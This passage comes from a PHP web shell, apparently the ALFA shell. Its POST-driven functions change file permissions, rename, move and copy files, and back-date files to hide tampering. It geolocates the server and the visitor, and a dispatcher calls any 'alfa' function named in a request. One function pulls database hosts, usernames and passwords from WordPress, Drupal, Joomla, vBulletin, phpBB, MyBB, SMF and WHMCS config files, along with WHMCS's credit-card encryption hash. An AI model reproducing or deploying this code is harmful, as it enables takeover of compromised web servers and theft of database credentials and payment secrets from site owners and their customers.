        '[01;32m' => '<span style="color:green">',
        '[01;33m' => '<span style="color:yellow">',
        '[01;34m' => '<span style="color:blue">',
        '[01;35m' => '<span style="color:purple">',
        '[01;36m' => '<span style="color:cyan">',
        '[01;37m' => '<span style="color:white">',
        '[0m'   => '</span>'
    );
    $htmlString = str_replace(array_keys($dictionary), $dictionary, $code);
    return $htmlString;
}
function alfadoActions(){
	$chdir_fals = false;
	if(!@chdir($_POST['c'])){
		$chdir_fals = true;
		$alfa_canruncmd = _alfa_can_runCommand(true,true);
	}
	if(isset($_POST['alfa1']))$_POST['alfa1'] = rawurldecode($_POST['alfa1']);
	if(isset($_POST['alfa2']))$_POST['alfa2'] = rawurldecode($_POST['alfa2']);
	$action = $_POST["alfa3"];
	if($action == "permission"){
		$perms = 0;
		$perm = $_POST["alfa2"];
		for($i=strlen($perm)-1;$i>=0;--$i){
			$perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1));
		}
		if(@chmod($_POST['alfa1'], $perms)){
			echo("done");
		}else{
			echo("no");
		}
		return;
	}
	if($action == "rename" || $action == "move"){
		$alfa1_decoded = $_POST['alfa1'];
		if($chdir_fals){
			$_POST['alfa1'] = $_POST["c"]."/".$_POST["alfa1"];
		}
		$_POST['alfa1'] = trim($_POST['alfa1']);
		$alfa1_escape = addslashes($_POST["alfa1"]);
		if($_POST["alfa3"] == "rename"){
			$_POST['alfa2'] = basename($_POST['alfa2']);
		}
		if(!empty($_POST['alfa2'])){
			$cmd_rename = false;
			if($chdir_fals&&$alfa_canruncmd){
				if(_alfa_is_writable($_POST['alfa1'])){
					$cmd_rename = true;
					$alfa1_escape = addslashes($alfa1_decoded);
					alfaEx("cd '".addslashes($_POST['c'])."';mv '".$alfa1_escape."' '".addslashes($_POST['alfa2'])."'");
				}
			}
			if(!file_exists($_POST['alfa2'])){
				if(@rename($_POST['alfa1'], $_POST['alfa2'])||$cmd_rename){
					echo "done";
				}else{
					echo "no";
				}
			}else{
				echo "no";
			}
		}
	}elseif($action == "copy"){
		if(is_dir($_POST["alfa1"])){
			$dir = str_replace('//', '/', $_POST["alfa1"]);
			$dir = explode('/', $dir);
			if(empty($dir[count($dir) - 1])){
				$name = $dir[count($dir) - 2];
			}else{
				$name = $dir[count($dir) - 1];
			}
		}else{
			$name = basename($_POST["alfa1"]);
		}
		$dir = dirname($_POST["alfa1"]);
		if($dir == "."){
			$dir = $_POST["c"]."/";
		}
		if(is_file($_POST["alfa1"])){
			@copy($_POST["alfa1"], $_POST["alfa2"]);
			echo("done");
		}elseif(is_dir($_POST["alfa1"])){
			if(!is_dir($_POST["alfa2"])){
				mkdir($_POST["alfa2"], 0755, true);
			}
			copy_paste($dir, $name , $_POST["alfa2"] . "/");
			echo("done");
		}
	}elseif($action == "modify"){
		if( !empty($_POST['alfa1']) ) {
			$time = strtotime($_POST['alfa1']);
			if($time){
				$touched = false;
				if($chdir_fals&&$alfa_canruncmd){
					alfaEx("cd '".addslashes($_POST["c"])."';touch -d '".htmlspecialchars(addslashes($_POST['alfa1']))."' '".addslashes($_POST['alfa2'])."'");
					$touched = true;
				}
				if(!@touch($_POST['alfa2'],$time,$time)&&!$touched){
					echo 'no';
				}else{
					echo 'ok';
				}
			} else{
				 echo 'badtime';
			}
		}
	}

}
function alfaget_flags(){
	$flags = array();
	if(function_exists("curl_version")){
		$curl = new AlfaCURL();
		$server_addr = (!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER["SERVER_ADDR"]);
		$flag = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $server_addr);
		$flag2 = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $_SERVER["REMOTE_ADDR"]);
		if(strpos($flag2, "geoplugin") != false){
			$flag = json_decode($flag, true);
			$flag2 = json_decode($flag2, true);
			if(!empty($flag['geoplugin_countryCode'])){
				$flags["server"]["name"] = $flag['geoplugin_countryName'];
				$flags["server"]["code"] = $flag['geoplugin_countryCode'];
			}
			if(!empty($flag2['geoplugin_countryCode'])){
				$flags["client"]["name"] = $flag2['geoplugin_countryName'];
				$flags["client"]["code"] = $flag2['geoplugin_countryCode'];
			}
		}
	}
	echo json_encode($flags);
}
function alfaGetConfig(){
$cms = $_POST['alfa1'];
$path = trim($_POST['alfa2']);
$config = array(
'wp'=>array('file'=>'/wp-config.php',
'host'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbname'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_NAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbuser'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USER(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbpw'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'prefix'=>array("/table_prefix[ ]{0,}=[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,};/",1)
),
'drupal'=>array('file'=>'/config.php',
'host'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbname'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_DATABASE(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbuser'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USERNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbpw'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'prefix'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PREFIX(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1)
),
'drupal2'=>array('file'=>'/sites/default/settings.php',
'host'=>array("/(?:'|\")host(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'dbname'=>array("/(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'dbuser'=>array("/(?:'|\")username(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'dbpw'=>array("/(?:'|\")password(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'prefix'=>array("/(?:'|\")prefix(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1)
),
'vb'=>array('file'=>'/includes/config.php',
'host'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")servername(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'dbuser'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")username(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'dbname'=>array("/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")dbname(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'dbpw'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'prefix'=>array("/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")tableprefix(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3)
),
'phpnuke'=>array('file'=>'/config.php',
'host'=>array('/dbhost(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'dbname'=>array('/dbname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'dbuser'=>array('/dbuname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'dbpw'=>array('/dbpass(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'prefix'=>array('/prefix(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3)
),
'smf'=>array('file'=>'/Settings.php',
'host'=>array("/db_server(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/db_user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/db_passwd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/db_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'whmcs'=>array('file'=>'/configuration.php',
'host'=>array("/db_host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/db_username(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/db_password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'cc_encryption_hash'=>array("/cc_encryption_hash(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'joomla'=>array('file'=>'/configuration.php',
'host'=>array("/\\\$host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/\\\$db(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/\\\$user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/\\\$password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/\\\$dbprefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'phpbb'=>array('file'=>'/config.php',
'host'=>array("/dbhost(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/dbname(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/dbuser(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/dbpasswd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/table_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'mybb'=>array('file'=>'/inc/config.php',
'host'=>array("/config\['database'\]\['hostname'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/config\['database'\]\['database'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/config\['database'\]\['username'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/config\['database'\]\['password'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/config\['database'\]\['table_prefix'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
)
);
if($cms == "drupal"){
	$file = $config[$cms]['file'];
	$file=$path.$file;
	if(@is_file($file)||_alfa_is_dir($file,"-e")){
	}else{
		$cms = 'drupal2';
	}
}
if($cms == "vb"){
	$file = $config[$cms]['file'];
	$file=$path.$file;
	if(@is_file($file)||_alfa_is_dir($file,"-e")){
	}else{
		$path .= '/core';
	}
}
$data = array();
$srch_host = $config[$cms]['host'][0];
$srch_user = $config[$cms]['dbuser'][0];
$srch_name = $config[$cms]['dbname'][0];
$srch_pw = $config[$cms]['dbpw'][0];
$prefix = $config[$cms]['prefix'][0];
$file = $config[$cms]['file'];
$chost = $config[$cms]['host'][1];
$cuser = $config[$cms]['dbuser'][1];
$cname = $config[$cms]['dbname'][1];
$cpw = $config[$cms]['dbpw'][1];
$cprefix = $config[$cms]['prefix'][1];
if(@is_dir($path)||_alfa_is_dir($path)){
$file=$path.$file;
}elseif(@is_file($path)||_alfa_is_dir($path,"-e")){
$file=$path;
}else{
return false;
}
$file = __read_file($file);
if($cms == "drupal2"){
	$file = preg_replace("/\@code(.*?)\@endcode/s", "", $file);
}elseif($cms == "vb"){
	$file = preg_replace("/right of the(.*?)BAD!/s", "", $file);
}
if(preg_match($srch_host, $file, $mach)){
$data['host'] = $mach[$chost];
}
if(preg_match($srch_user, $file, $mach)){
$data['user'] = $mach[$cuser];
}
if(preg_match($srch_name, $file, $mach)){
$data['dbname'] = $mach[$cname];
}
if(preg_match($srch_pw, $file, $mach)){
$data['password'] = $mach[$cpw];
}
if(isset($prefix)){
if(preg_match($prefix, $file, $mach)){
$data['prefix'] = $mach[$cprefix];
}
}
if($cms=='whmcs'){
if(preg_match($config[$cms]['cc_encryption_hash'][0], $file, $mach)){
$data['cc_encryption_hash'] = $mach[3];
}
}
echo json_encode($data);
}
if(empty($_POST['a']))
if(isset($default_action) && function_exists('alfa' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'FilesMan2';//'FilesMan';
if(!empty($_POST['a']) && function_exists('alfa' . $_POST['a']))
call_user_func('alfa' . $_POST['a']);
exit;
/*
#Persian Gulf For Ever
#skype : sole.sad
#skype : ehsan.invisible
*/
?>